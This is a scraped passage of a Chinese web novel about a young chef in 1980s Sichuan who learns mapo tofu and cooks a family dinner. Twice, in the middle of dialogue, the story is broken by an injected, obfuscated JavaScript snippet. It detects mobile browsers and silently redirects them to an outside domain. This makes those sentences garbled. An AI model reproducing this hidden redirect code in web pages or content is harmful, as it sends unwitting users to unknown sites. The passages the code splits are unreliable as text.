“就是，莫要回头，我们这个年纪，多活一天算一天。”张正平也是笑着道：“你还要看着来福讨媳妇呢，眼睛一定要好，才能帮她挑个心善的歪婆娘，最好是像铁英那样的，那这个家就迎来主事人了。” 张淑芬闻言也笑了：“你看人倒是准，当年我就是看铁英这个女娃子有主见，该歪就歪，但又有分寸，心地又善良，赶着三水上门去定亲。” “不然这闷葫芦，遇到事只晓得亮刀，不晓得要惹出多少事情来。” “娶妻娶贤，老祖宗这话相当有道理。多少事情，我家铁英一张嘴就解决了，根本轮不到三水出面。” 说起自家儿媳妇，老太太那叫一个骄傲。 周淼在旁听得傻乐，悄悄把衣服放下盖住刀把。 “你们说的对，要向前看。”孙丽华点点头，脸上也是多了几分笑意，看着乖巧站在一旁的来福道：“立伟和巧倩把来福托付给我，那我就要看着他成家立业，这样下去才能给他们夫妻一个交代。” 张正平和张淑芬对了一下眼神，脸上皆是露出了笑意。 那边，周砚刚从厂医院拿了药出来，眼角金光一闪： 【叮！支线任务：西坝豆腐传承守卫战！进度：100%！孙丽华已经彻底下定决心，将西坝豆腐的做法传承给孙子来福！】 【任务完成！】 【获得奖励：麻婆豆腐！】 周砚捏了一把刹车，眼睛顿时亮了起来。 【麻婆豆腐】的菜谱熠熠生辉，已经是可领取状态。 “我的天！发生了什么？老辈子这么给力的吗？！” 周砚都觉得有些不可思议。 他离开的这二十几分钟，发生了什么？ 还得是老辈子宽慰老辈子啊，年轻人终究是有代沟的。 心心念念的麻婆豆腐到手，周砚的心情都随之飞扬起来。 路上不好点开，周砚骑着车先往上水村赶。 回到院子里的时候，张正平正在教孙丽华做保养操。 孙老太的脸上少了几分苦涩，神色看起来都明亮了许多。 周砚估摸着，应该是心境上的变化。 张正平接过药，开始给孙丽华讲解用药方法：“丽华你看，这个药一天吃三颗，眼药水仰起头来滴，一次滴两滴、三滴，给你买了三支，药盒留着，用完了要是眼睛还是不舒服，就让来福拿着盒子去卫生所买，五角钱一支。” 院子另一边，来福正在压豆腐。 老太太站旁边瞧着，嘴角带着笑意。 周砚走了过去，笑着道：“这是准备做豆干的豆腐吧？” 老太太点头：“就是，点卤还不够熟练，要他奶奶盯着，其他倒是做的有模有样了。” 周砚看了眼时间，“那等这板豆腐做好，我们切一块回去做麻婆豆腐嘛。” “麻婆豆腐你都学会了？”老太太有些诧异地看着他，她年轻的时候在嘉州一家川菜馆吃过一回味道还可以，苏稽国营饭店做的不太正宗，她觉得那都不能叫麻婆豆腐。 周砚脸不红心不跳道：“前两天不是去嘉州参加厨师交流会嘛，跟着师叔祖和师叔伯们学了些手艺，今天舅公也在，刚好给他露一手。” 老太太笑着点头：“要得，我看看你本事学没学到家。” “周砚。”孙老太冲着他喊道。 “姨婆，啥子事？”周砚应了一声，快步走了过去。 孙老太拿着一张纸递给他。 “这是？”周砚接过纸，便瞧见上边写着的‘借条’二字，再看金额：184.5元。 孙老太面带笑意道：“我喊你舅公帮我写的借条，药钱也一起包含在内，你好生收起，我和来福做豆腐干和腐竹来抵账嘛。” “要得。”周砚将借条郑重收起，笑着说道：“姨婆，从明天开始，除了豆干和腐竹，我每天还要二十斤豆腐，我准备开始卖麻婆豆腐了。” “二十斤啊？”孙老太面露难色，看了眼正在压豆腐的来福，“不晓得他背得动不。” “表姨，明天开始，我骑车来拿货嘛，免得来福背来背去，骑车也就十来分钟的事。”周淼主动开口道。 孙老太想了想，点头道：“要得，就麻烦三水你来拿豆干和腐竹，豆腐还是让来福背去，你们没运过豆腐，免得路上抖烂了。” “不麻烦，自家人有啥子麻烦。”周淼说道。 “姨婆，我要的豆腐，品质要过关，可能需要你来指点着做。”周砚提出自己的要求，麻婆豆腐是要卖给客人的，他必须要保证品质。 孙老太点头道：“我晓得，你饭店要卖给客人的，做的不好肯定不会送你店里来。” “周砚，你莫非还嫌弃来福自己做的不成？”张正平笑问道。 “舅公，看病你是专业的，但做菜我是专业的。来福做的豆腐是不错，比苏稽镇上其他几家卖豆腐的都好。但对我来说，肯定还是有姨婆指点做出来的豆腐品质更合适。”周砚笑着解释道，“等啥时候来福做的豆腐有姨婆指点的那么好，那我就不提要求了。” “说的有道理，不过做菜我不行，但吃我在行啊。”张正平笑吟吟看着他道：“我们牛华的豆腐脑有名，豆腐也是相当不错的，我从小吃豆腐长大，我倒要看看你烧的豆腐配得起你姨婆做的豆腐不。 我在蓉城上班的时候，医院后门有家餐厅，师父是从陈麻婆豆腐出来的，麻婆豆腐做的巴适得板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217902|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “舅公都这样说了，那只能手底下见真章了。”周砚笑道。 众人闲聊了一阵，等第一板豆腐压足时间，揭开纱布，一方白玉般的豆腐映入眼帘。 【一板完美的豆腐】 周砚已经看到了品质。 不愧是豆腐界的宗师强者，只需略微指点，便能让门下学徒做出这等完美品质的豆腐。 周砚让来福给他切了两斤，切口平整细腻，没有空洞，端起来颤颤巍巍，热气腾腾，闻着有股浓郁的豆香。 张正平已经去拿了两个碗来，给张淑芬和他自己各切了一小块，拿着筷子吃了一口，连连点头：“嗯！正宗西坝豆腐！好嫩哦，香得很，还带点甜味，要是来一勺辣椒酱就更巴适了。” “我也好多年没吃过刚做出来的嫩豆腐了，还是香，不用加料就是香甜的，苏稽就是找不出第二家有这个水平的豆腐摊。” 两人说得周砚都馋了，刚想去拿碗，来福已经端着两个碗出来，切了两块豆腐，笑着递给周砚和周淼。 舅公说的没错，他听不见也说不来，但心里啥都懂。 周砚抬起右手握拳，冲着来福，大拇指弯了两下。 来福眼睛顿时亮了起来，脸上露出了开心的笑容。 周砚也笑了，拿起筷子尝了一口豆腐。 刚做好的豆腐，确实格外嫩，口感嫩滑，豆香浓郁，滋溜一下就顺着喉咙滑了下去，唇齿留香。 相比于豆腐脑，又略有些许的韧劲，不是一碰就散的状态。 半碗豆腐，吸溜几下便吃完了。 好的豆腐就是这样，本身就已经是相当不错的美食。 周砚掏出四毛钱搁在凳子上，众人准备回去。 “丽华，我隔一天过来帮你扎一次针，连着扎三回，情况应该会有所好转，不说健步如飞，至少不会那么痛了。”张正平耐心和孙老太叮嘱道：“记得莫要干重活，注意保暖。” “要得，就是麻烦正平表哥了。”孙老太一脸不好意思。 “自家人有啥子麻烦，我这次来要在三姐这里耍够一个星期，跟我婆娘都说好了的。”张正平不以为意的摆了摆手，跟着出门去了。 “老汉，你转到武装部去跟小叔说一声，让他下了班来饭店吃晚饭，免得回家没饭吃。”回去路上，周砚和周淼说道。 “要得。”周淼答应了一声。 周砚带着张正平，提着豆腐先回了饭店。 周砚的自行车刚停下，周沫沫就跑了过来，嘟着小嘴奶声奶气道：“锅锅~你去哪里了？我一回来就找不到你……” 小家伙越说越委屈，大大的眼睛里已经包起了一汪眼泪。 “我去看姨婆了。”周砚感觉自己成了十恶不赦的罪人，连忙解释道。 “那……那你为啥子不带我呢？”小家伙更委屈了，从口袋里掏出了两颗水果硬糖，吸着鼻子道：“我也想去看姨婆，妈妈说姨婆生病了，我还给她准备了糖糖呢。” “我的错，下回带你去哈。”看着小家伙手里的糖，周砚罪恶感更强烈了，她小小的，怎么就这么体贴人了，还知道去看生病的姨婆呢。 “这个就是周沫沫是吧？”张正平从后座下来，看着跟前粉雕玉琢的小家伙，眼里满是稀罕：“哎哟，长得好乖哦！你们老周家全是高头大马的儿子，怎么会生出个这么乖的小女娃呢？” 周沫沫看着张正平愣了一下，下意识往周砚腿边靠了靠，表情带着几分好奇问道：“爷爷，你是哪个？” 张正平笑眯眯道：“我是你奶奶的弟弟，你要喊我舅公噻。” “舅公！”周沫沫脆生生喊道。 “哎！真乖！”张正平笑得合不拢嘴，手在身上六个口袋摸了个遍，愣是没摸出一样适合送给周沫沫的东西，最后索性摸了一块钱出来递给周沫沫，笑眯眯道：“这是去年过年的红包，你拿着。” “一块。”周沫沫看了眼，没有伸手，摇头道：“太多了，不要！” “嗯，你年纪不大，这么懂事啊。”张正平笑容愈发灿烂，把钱又往前递了递，“不过，我给幺孙包红包从来都是包一块，你收了拿去买糖糖嘛。” 周沫沫回头看向了门口站着的赵嬢嬢。 “舅公喊你收红包你就收着嘛。”赵嬢嬢笑着说道。 周沫沫这才伸手接过，然后冲着张正平鞠了个躬，奶声奶气道：“谢谢舅公，恭喜发财，新年快乐。” 好嘛，红包一收，触发关键词了。 大人们都忍不住笑了。 “乖乖，不客气。”张正平连连摆手，这一块钱的红包给的值啊，小家伙情绪价值给的够够的，不像他家那些逆孙，拿了红包去买摔炮比谁都跑得快。 “妈，晚上吃麻婆豆腐。”周砚把自行车推进饭店，和赵嬢嬢说道。 “你不是不会做麻婆豆腐嘛？”赵嬢嬢疑惑道。 “前两天刚学的，今天晚上给你们露一手，要是味道可以，明天就上菜单。”周砚笑着说道，提着豆腐往厨房去。 把豆腐放在砧板上，他心念一动，点开了【麻婆豆腐】菜谱。 …… 5.2k大章加更！求月票！ (本章完) 第174章 下饭果然一绝！（6k二合一求全订！ 麻婆豆腐这道菜，绝对算得上川菜里知名度最高的菜之一，驰名中外。 川菜馆的菜单上，处于绝对醒目位置，和回锅肉并列。 宫保鸡丁在小饭店还不常见，这年代鸡腿供应的问题解决不了，小饭店根本没法做这菜。 豆腐多常见啊，两毛钱一斤，随便哪个菜市场都有好几家卖的。 中国饮食版图展开，从南到北，没有不爱吃的，做法极其丰富。 豆腐在川菜中有着非常重要的地位，四川人爱吃豆腐以及其不同形态下的状态。 比如嘉州争破头的各大门派豆腐脑，以及遍地开花的豆花饭馆子。 豆花是巴蜀特有的，它介于豆腐脑和嫩豆腐之间，无需复杂的烹饪，配上一个滋味丰富的蘸碟，便能成为饭馆的招牌菜，甚至成为揽客的招牌，可见川渝人对其的喜爱程度。 冷锅鱼里的豆花，是周砚的心头好。 酥肉等一锅乱炖的荤豆花也相当有代表性。 思绪回到麻婆豆腐，这道名菜的来源，周砚做陈麻婆豆腐探店视频的时候收集过，陈麻婆豆腐创立于清同治元年，1862年，距今一百二十多年，开在蓉城北面的万福桥边上。 老板陈春富擅长做豆腐，因老板的婆娘脸上有许多麻子被称为陈麻婆，随着陈麻婆的名声越传越大，店名从陈兴盛饭铺也改为了陈麻婆豆腐，并延续至今。 菜谱点开，知识随即进入脑子，快速涌动。 从豆腐的选择到切法，牛肉臊子的炒制，以及三次勾芡的技法和复杂的调味，尽数融会贯通。 周砚闭眼再睁眼，便已了然于胸。 难怪一般厨师自己捣鼓不好麻婆豆腐，做法不算复杂，但技法相当讲究。 老周同志很快也回来了，进厨房跟周砚道：“卫国说有个会要开，六点才能下班，我让他下了班再过来，我们营业结束再吃晚饭。” “要得。”周砚笑着点头，走出厨房和正在喝水的张正平道：“舅公，你看看菜单，晚上想吃啥子菜，我先留着，免得被客人点完了。” 张正平笑着摆手：“让客人先点嘛，剩下啥子我们吃啥子，自家人有啥子关系呢。” 老太太把碗放下，笑道：“你是不晓得这饭店的生意有多好，你不点，晚上我们吃桌子。” “这么厉害啊？”张正平一脸意外，放下碗开始认真打量起菜单，“那我就点一份火爆猪肝和一份卤牛肉，其他的你看着安排嘛。 火爆猪肝我好喜欢吃哦，但你舅婆炒猪肝的手艺稀撇，切的老厚，炒的太老，吃起来全是渣渣，回味都是苦的。 三姐做的卤牛肉我也好多年没吃到了，今天尝尝你卤的有几分像她。” 周砚笑着点头，看向老太太：“奶奶，你点两个菜嘛。” 老太太略一思索道：“那我点个藿香鲫鱼嘛，五香的卤素菜留一碟，腐竹多点。你再做个麻婆豆腐，炒个莲花白，我看也差不多够了。” “好。”周砚转而和赵红道：“嫂子，等会放学你去把帆娃和辉辉接来嘛，晚上让飞哥一起来吃饭，我们小聚一下。” “要得。”赵红笑着应道。 舅公难得来一趟，周砚自然要好生招待一番。 今天这任务能够如此顺利完成，张老中医可谓是居功至伟啊。 治腿、治眼就不说了，还给了她强大的信念。 老周家人太多，今晚太过仓促，实在没法把人都请来。 刚刚他已经听到老周同志和赵嬢嬢在悄悄商量，准备和几个兄弟商量一下，哪天一起聚一下。 舅公来算是一个契机，由头主要还是他们搬到镇上，如今也算安定下来了，还没请自家兄弟过来吃过饭，等周日空闲的时候，刚好操办一下。 “舅公，你这些针针是做啥子的？”周沫沫凑到张正平跟前，看着正在整理布包的舅公好奇问道。 “这是银针，用来扎人的。”张正平笑道。 周沫沫闻言连忙缩到老太太怀里，探着脑袋，继续好奇问道：“舅公，那这些罐罐呢？” “把它用火烧烫，再扣在人身上。”张正平解释道。 周沫沫不好奇了，缩回脑袋，小声跟老太太问道：“奶奶，舅公看着不像好人啊……” 厅堂里，众人顿时笑成一团。 “周沫沫，啷个说话呢！”赵铁英笑道：“舅公是退休的老医生，救死扶伤的大好人。” “啊！医生！”周沫沫眼睛一亮，不怕了，凑到张正平跟前，“舅公，那这些针针是拿来夺坏人的是不是？这些罐罐也是拿来烫坏人的？” 众人闲聊逗娃，周砚则是转回到厨房开始备菜。 五点钟，纺织厂下班铃声响起，工人们骑着、推着自行车涌了出来。 周二娃饭店门口排起长队，店内也是陆续坐满了人。 “人还真不少。”张正平感慨道，跟老太太交代了一声，便背着手自个转悠去了。 老太太就在门口的躺椅上靠着，看周淼卖卤菜，看周沫沫招呼客人，面带微笑。 她是洒脱的人，家里晚辈只要不是遇到急事，她从不插手。 饭店里再忙碌，她也不会去帮忙端盘子、收桌子，忙不过来说明该招人了，用不着她来顶事。 要是磕着碰着反倒成帮倒忙的，也免得被其他小辈说偏心哪家，乐得清闲。 帆娃搬了个凳子，坐在门口写作业。 周立辉则是钻进了厨房，负责给周砚烧火。 “小叔，我老汉儿给我买了一把新菜刀，现在我们家的菜和猪草都是我负责切的，别个都没有资格动。”周立辉往灶里塞了一根青冈木，一边拉风箱一边说道，脸上带着几分得意。 “挺好的。”周砚笑道，少年对学做菜这件事依旧热情满满，这点颇为难得。 本来最近是有切不完的土豆，但都是早上营业结束后才开始削皮切片，辉辉刚好错过。 虽然周立辉依旧稳定倒数第三，但毕竟还在上学，周砚自然不能让他辍学切土豆不是。 不过周砚也不是啥都没教，这两天教了他**法的技巧，让他拿莲花白杆练手。 也算是对莲花白的物尽其用了。 辉辉上手倒是挺快的，颇有干劲，从他手上新添的几道伤口就能看得出来。 周砚准备等他放寒假后，再好好让他练习刀工，就从切土豆片和藕片开始。 卤素菜一天要切上百斤土豆和藕，这样的强度，换了别家饭店还真不一定有。 晚上营业结束，外面天色已经擦黑。 周卫国和周飞已经来了有一会，和闲下来的周淼坐在门口的椅子上闲聊。 一辆自行车悠悠骑来，停在了饭店门口。 “舅舅。” “舅公。” 周卫国和周飞连忙起身打招呼。 “舅舅，你这自行车哪里来的？”周淼一脸诧异地问道。 周砚刚从厨房出来，看着坐在二八大杠上的张正平也是有些诧异。 “卫国，阿飞。”张正平笑着和两人打招呼，从自行车上下来，解释道：“纺织厂厂办医院的副院长纪宏涛是我带过的学生，刚刚我转到他那边耍了会，他说平时都在医院和宿舍待着，自行车用不上，让我骑几天，走的时候再还给他。” “你这把年纪，还骑的把稳不？”老太太笑着道。 张正平拍着车座一脸自信道：“三姐你放心，我骑车把稳的很，天天带着玉容到处转，等会晚上回去你就坐我的车。” “要得。”老太太笑着点头。 “妈，还是我送你回去嘛。”周淼有点不放心，连忙说道。 “送啥子，卫国也有车，我们车都太多了，还用得着你送。”老太太撇撇嘴，不以为然。 周砚闻言心头一动，厂办医院的副院长竟然是舅公的学生，而且看样子关系还处的不错。 如此说来，他倒是可以考虑通过舅公的关系，和那位纪宏涛副院长产生一些羁绊，至少认识一下。 小地方，就是人情社会。 纺织厂的厂办医院，医生水平据说比卫生所的还要好一些。 人难免有个头疼脑热的时候，在医院处点人脉，总有用到的时候，有时是能救命的。 周砚心里记了一笔，等两天要是请客，趁着舅公还没回去，看能不能找个由头把那位副院长也请上。 这种人物，一般情况下他是不容易结识的。 “没有客人了，大家进来坐嘛，我马上开始烧菜。”周砚招呼了一声，便又转身往厨房走去。 今天红烧排骨剩了一份多点的量，刚好能当个菜。 卤牛肉和卤素菜老周同志已经提前留好了，周砚杀了两条鲫鱼先腌着，把藿香鲫鱼和火爆猪肝的料备好，开始备麻婆豆腐需要用到的料。 豆瓣酱和豆豉都要切细，这样颜色和味道才能充分释放。 正宗麻婆豆腐放的是蒜苗，不放葱花和生姜。 蒜苗杆斜切小颗粒，叶子切小段，放在一旁备用。 周砚留了二两吊龙，切成肉末，起锅烧油，小火先将牛肉末煸炒酥脆，炒成牛肉臊子起锅备用。 牛肉臊子周砚可炒的太熟练了，火候把控拉满，炒的金黄酥脆。 两口锅同时烧起，一边煎鲫鱼，另一边烧半锅水，加一勺盐，把豆腐切成三厘米见方的小块入锅焯水煮透，去除豆腥味的同时让豆腐能够有点底味。 煎好的鲫鱼盛起，炒好料加水下锅小火煮着。 另一边，焯水后的豆腐已经捞起，锅里倒入菜籽油，小火下入豆瓣酱和豆豉，翻炒出红油后下入辣椒面，炒出香味，倒入一碗水，一锅色泽红亮的汤便成了。 这时下入先前已经焯过水的豆腐，同时下入先前炒好的牛肉臊子，牛肉臊子入汤烹煮，能让牛肉的香气融入汤中，再被豆腐吸收。 火力加大几分，用勺轻推豆腐，不让其粘锅和粘连。 这里有个非常重要的小技巧，那就是勺只能推不能扒拉，不然豆腐容易碎掉。 不成型的麻婆豆腐，就算是失败品。 加入少许老抽提色增香。 左边小火烧鱼，右边大火烧豆腐。 这就是常说的大火豆腐小火鱼。 麻婆豆腐需要勾三道芡，大火将汁收了小半后，撒入青蒜白，开始勾第一道芡，加入少许芡粉调制的水，用勺轻轻推动豆腐，汤汁开始变得粘稠。 开始勾第二道芡，这一次调入的芡水要多一些，同样用锅铲背轻轻推动豆腐，让豆腐均匀裹上芡汁。 第三次勾入少许芡水，将汤汁收至汁浓吐油，撒入先前切好的蒜苗叶，再用汤勺轻轻推动几下，让蒜苗的香气激发，即可出锅。 两个土碗摆在灶台上，麻婆豆腐出锅入碗，亮汁亮油，白里透红，撒上一把花椒粉，绿色的蒜苗和牛肉臊子点缀其间，看起来相当诱人。 【一道极其不错的麻婆豆腐】 周砚的眼底已经弹出鉴定结果。 为什么不完美呢？ 因为他刚刚加的是清水，而正宗的麻婆豆腐做法应该加的是牛骨高汤，明天架一个煤炉，单独煮一锅牛骨高汤，这样做出来的还要更美味一些。 “好香哦！小叔，这豆腐都烧出牛肉味道了！”周立辉赞叹道。 “放了二两吊龙炒的牛肉臊子，当然有牛肉的味道。”周砚笑着往两个碗里搁了个勺，说道：“辉辉，把麻婆豆腐端出去，小心烫哈。” “要得！”周立辉答应了一声，端起两碗麻婆豆腐小心翼翼的往外走。 周砚把鲫鱼先捞出锅，汤汁一收，浇在鲫鱼上，藿香鲫鱼也是完成了。 火力加大，一份火爆猪肝转眼功夫就出锅。 周砚端着两盘火爆猪肝出来，大家已经在桌子前围坐着，周淼正在给老太太和舅公倒酒。 “锅锅，你跟我坐吧~~”周沫沫回头看着他，拍了拍自己身边的空座。 “来嘛，都等你呢。”赵嬢嬢也是笑着说道。 “等**啥子呢，大家趁热吃嘛。”周砚把菜放下，笑着说道。 “厨师不上桌，哪个好意思动筷子呢。”张正平笑着说道，目光落在眼前的麻婆豆腐上，带着几分惊叹，“你这麻婆豆腐看着倒是相当正宗啊，亮汁亮油，闻着也香，甚至比我在蓉城吃的陈麻婆豆腐看着都要安逸些。” “陈麻婆豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217903|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐不是创始人吗？还能比它家更正宗？”老太太疑惑道。 周砚也笑着道：“舅公是吃过正宗麻婆豆腐的，那你先尝尝看，我做的这个麻婆豆腐水平如何。” “要得，我试看。”张正平拿起瓢羹舀了一勺豆腐到自己碗里，豆腐表面裹满汁和红油，裹着牛肉臊子。 “刚出锅，有点烫哈。”周砚提醒道。 “没得事，豆腐要吃烫，婆娘要娶胖！麻婆豆腐就是养烫，吃起来吃对味。”张正平夹起豆腐喂到嘴里，眼睛顿时亮了起来。 麻、辣、鲜、香、嫩、脆、烫、整竟在这一口中汇聚而来！ 烫嘴，但太香了！ 张正平是哆嗦着嘴咽下的这块豆腐，满脸惊叹的看着周砚：“喔唷！你这个麻婆豆腐做的**逸了！我觉得比我们医院背后那家的麻婆豆腐做的还要正宗！” “他那墙上写的麻婆豆腐的特色，我在他店里没有完全吃出感觉来，但刚刚那一口，我真的找到感觉了！” “麻辣鲜香都入了豆腐之中，口感极其滑嫩，牛肉臊子是酥软酥香的口感和味道，配上青蒜苗的独特香味，简直巴适得板！” “我要去打点饭来，这麻婆豆腐是下饭菜，不是下酒菜，必须要配着米饭吃才安逸。” 说着，张正平便要起身。 “舅舅，你坐到，我给你去打。”赵铁英眼疾手快，伸手把他的碗拿起往一旁的饭桶走去。 “我尝看。”老太太闻言也给自己舀了一勺，用筷子夹起，豆腐颤颤巍巍的，肉眼可见的嫩，入口慢慢品味，也是不禁连连点头。 “硬是巴适！比嘉州那家好得多，麻麻辣辣，牛肉香气十足，豆腐嫩滑的很，确实是下饭菜。” “老四，给我也添碗饭。” “要得。”周淼笑着起身接过碗去盛饭。 众人闻言，都忍不住舀了一勺麻婆豆腐到碗里，跟着尝了尝。 “好香哦！豆腐做的太巴适了！” “我也要盛饭！拿这个拌饭肯定安逸惨了！” “妈，我要饭！” 众人赞不绝口，都端着碗去盛饭了。 张正平已经拿到他的饭碗，舀了一勺豆腐盖在饭上，用筷子夹了两下，嫩豆腐立马碎开，汤汁和红油还有肉末，连同豆腐和米饭这么一拌，油亮油亮的，扒拉一大口，简直香迷糊了！ “巴适啊！我好久没吃过这么好吃的麻婆豆腐了！” “下饭果然一绝！” “我考虑一哈，要不向老婆子申请在苏稽多待一个月。” 张正平的眼睛都眯起来了，表情那叫一个享受。 “住嘛，只要你不怕玉容杀过来，你住到过年都没得事。”老太太笑着说道。 “算球，还是要回去给她煮饭，不然要被她日决惨了。”张正平缩了缩脖子。 周砚也盛了碗饭，舀了一勺麻婆豆腐盖在饭上，香辣的红油裹着嫩滑的豆腐和酥香的肉末，恰到好处的勾芡，让汤汁刚好能挂住光滑的豆腐，三次勾芡调的就是这芡汁的浓度。 浓了做不到亮汁亮油，稀了挂不住味道和臊子，这火候相当讲究水平，也是很多川菜馆做不好麻婆豆腐的原因。 麻婆豆腐进嘴第一感觉，特别烫！ 花椒的麻香、豆瓣的辣味、豆豉的酱香、蒜苗的清香，味道分明，却又完美融合。 牛肉臊子堪称点睛之笔，给这道麻婆豆腐的汤汁添了几分牛肉的香味。 酥脆的牛肉臊子，在汤汁中烹煮成了酥松的形状，和豆腐一起吃，增添了酥香的滋味。 这一口，麻辣鲜香、酥嫩浑烫！ 就连周砚自己都忍不住想要拍手叫绝，只需一口见真章。 完美的豆腐，配上完美的技艺，烹制出这样一道极致的麻婆豆腐！ 实在是太香了。 周砚很确定，明天上麻婆豆腐，绝对能卖爆！ 他要给纺织厂工人们一点极致的美味震撼。 “锅锅，豆腐辣不辣？”周沫沫在旁边眼巴巴瞅着，看着那红彤彤的麻婆豆腐，有点迟疑。 “对你来说，是辣的，而且还是你最不喜欢的麻辣。”周砚笑着给她夹了两块排骨到碗里：“你吃肉肉好不好？” “嗯嗯！”周沫沫点着脑袋，开心地低头啃肉。 张正平几口扒拉了半碗米饭，目光转向了一旁的火爆猪肝，满是期待地夹起一片，笑着道：“看看，这才叫猪肝嘛，切的薄厚均匀。” 说完喂到嘴里，细细这么一嚼，眉毛立马挑了起来，吃完一片猪肝，也给大家表演了什么叫眉飞色舞，赞叹道：“这猪肝炒的好嫩哦！麻辣鲜香！好吃！” “舅公喜欢吃，那就多吃点。”周砚笑着道。 张正平一脸认真道：“回头我把你舅婆送来跟你学习学习，让她看看火爆猪肝到底是怎么炒出来的，她那做法，简直让一头猪白**。” “你只要敢把玉容送来，我替周砚答应了。”老太太笑盈盈道：“到时候你再当面把刚刚那句话给她说一遍。” “说就说，这是实话嘛，我根本不带怕的。”张正平硬气道。 老太太认真道：“你说的哈，回去我就让卫国给玉容写封信，邀请她来做客。” “哎呀，三姐，我们姐弟难得聚一聚，喊一个外姓人爪子嘛。”张正平有点急了，“吃饭吃饭，莫要说了。” 老太太不说了，笑得格外开心。 到这个岁数还有弟弟可以逗，老太太挺开心的。 周砚也笑了，看得出来这位舅公确实是个妻管严。 “卤牛肉和卤素菜也好吃！味道太正宗了，周砚这娃娃的厨艺硬是好啊，每一道菜吃起来都有滋有味，堪称色香味俱全！”张正平放下筷子，看着周砚赞叹道：“这苏稽镇太小了，埋没了你的才华，这样的厨艺，应该要去更广阔的天地发展！” 没等周砚说话，老太太不疾不徐开口：“有多大的手，就端多大的碗。小手端大碗，端不稳还容易把碗打碎。一个人，一碗饭，先端好自己这碗就行了。” 今天没有加更，写点明天一起加！求月票吖！ 把我写饿了，哈哈。 (本章完) 第175章 破圈计划！（6k二合一） 老太太的话里，满是提点与告诫。 周砚微笑点头道：“我晓得，我现在还没有那么大的手，先把苏稽这碗饭吃好就够了。” 小周同志就是小手端大碗，把碗摔了个稀巴烂。 周砚引以为鉴。 老太太是有大智慧的，周砚相当认同。 张正平听完笑了笑：“对，听三姐的，她说的对。” 今天这顿小范围的家庭聚餐，吃的相当融洽舒服。 没人比较谁赚的更多，也没人抓着小孩问成绩，聊的都是这段时间大家的近况，以及对于将来的一些展望。 老太太今儿高兴，多喝了一两酒。 舅公也喝了三两，微醺，拉着老太太回忆小时候的一些事情，聊到动情处，两眼婆娑，也是个真性情的人。 “小叔，我不想读书了，我想今年放假我就来店里学厨，我想早点开始当厨师。”吃完饭，周立辉凑到周砚身旁，小声说道。 周砚看着他笑道：“今年寒假结束也就剩半年嘛，初中毕业证不要了？” “小叔，学厨师的话，初中毕业证重要吗？”周立辉一脸认真地看着他问道，不是反问，是求知。 “你如果认定这辈子就要当厨师，以后都不换别的工作，那初中毕业证确实没那么重要。”周砚认真给他分析道：“但如果你学了一年半载，觉得当厨师没你想的那么好，想出去闯荡，去工厂上班，那初中毕业证是你有一定文化水平的证明，就会变得非常重要。” “我想当厨师！”周立辉笃定的点头，“当一辈子的厨师。” 周飞就坐在旁边听着，欲言又止，最后还是看着周砚没说话。 周砚略一思索道：“你先把**法练到寒假，到时候你就来店里负责切土豆和藕，你要能吃得了当厨师的苦，我们再说别的。” “好！”周立辉点头。 周砚叮嘱道：“在学校记得多练字，多识字，寒假的时候我会给你出一张试卷，连调料、香料和厨具都写不全的文盲徒弟，我可不收。” “没问题！”周立辉咧嘴笑，信心满满道：“现在店里的调料我都会写了。” “他这段时间天天晚上睡觉前还要练几页字，说小叔的字那么好看，一个好厨师就要写一手好看的字才行。”赵红正收着桌子，闻声插嘴道，脸上带着笑意。 “挺好。”周砚闻言也笑了。 “周砚。”周卫国站在门口抽烟，冲着周砚叫了一声。 周砚连忙起身走出门，微笑道：“小叔，有事？” “今天中午我在食堂吃饭碰到黄琛镇长，他跟我说他们今天早上开了会，讨论大力推广和发展跷脚牛肉，打算把你当做标杆来打造苏稽跷脚牛肉产业。”周卫国降低了几分声音道。 “还有这种好事啊？”周砚闻言面色一喜，想了想又道：“不过他们具体打算怎么推广和发展？” “具体内容他没跟我讲，不过他让我给你吃颗定心丸，不管怎么推广和打造，首先绝对不会损害你的利益，也不会要求你拿出配方来给大家分享。”周卫国说道：“而且他们还会支持你把跷脚牛肉的名声打出来，严厉打击其他人的恶意竞争行为。” “那可太好了。”周砚握拳，这确实是颗定心丸。 跷脚牛肉后世成了苏稽的招牌，无数跷脚牛肉店从这里出发，开遍全国。 苏稽靠着跷脚牛肉，成了嘉州文旅的一张重要名片，源源不断的游客，让建立起品牌的跷脚牛肉老店挣得盆满钵满。 随着周村的杀牛匠越来越多，苏稽跷脚牛肉百花齐放是大势所趋，就算没有周砚，也会在八十年代开始进入快速发展期。 跷脚牛肉难吗？ 要做到各种中药和香料的极致融合自然不简单，但若只要求做到汤色清澈，味道鲜美，其实并不难。 找个会炖汤的厨子就能把汤锅工艺改良出来，再一点点做调整和改进即可。 只要有钱挣，厨子们有的是耐心。 新鲜牛骨熬高汤，新鲜的毛肚、牛肉烫煮，只要把握好火候，味道怎么都不会差。 背靠杀牛周村，每天能够获取足量新鲜的牛杂和牛肉，才是苏稽跷脚牛肉能够发展壮大的根本原因。 周砚现在掌握的是先发优势，通过《四川烹饪》杂志封面达成了品牌塑造的效果。 《周二娃饭店》《周记跷脚牛肉》这两个招牌打出来，只要味道不拉跨，苏稽的跷脚牛肉江湖必有他的一席之地。 老太太说的对，一个人，一碗饭，先端好自己这碗。 与其想着把其他人碗里的饭都抢了，不如想办法把这锅饭做的大大的，拿着饭勺，舀最中间那一勺。 